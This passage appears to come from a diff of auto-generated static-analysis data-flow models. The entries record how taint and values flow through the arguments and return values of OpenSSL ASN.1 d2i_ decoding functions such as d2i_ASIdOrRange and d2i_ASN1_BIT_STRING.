True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ADMISSION_SYNTAX", "(ADMISSION_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", 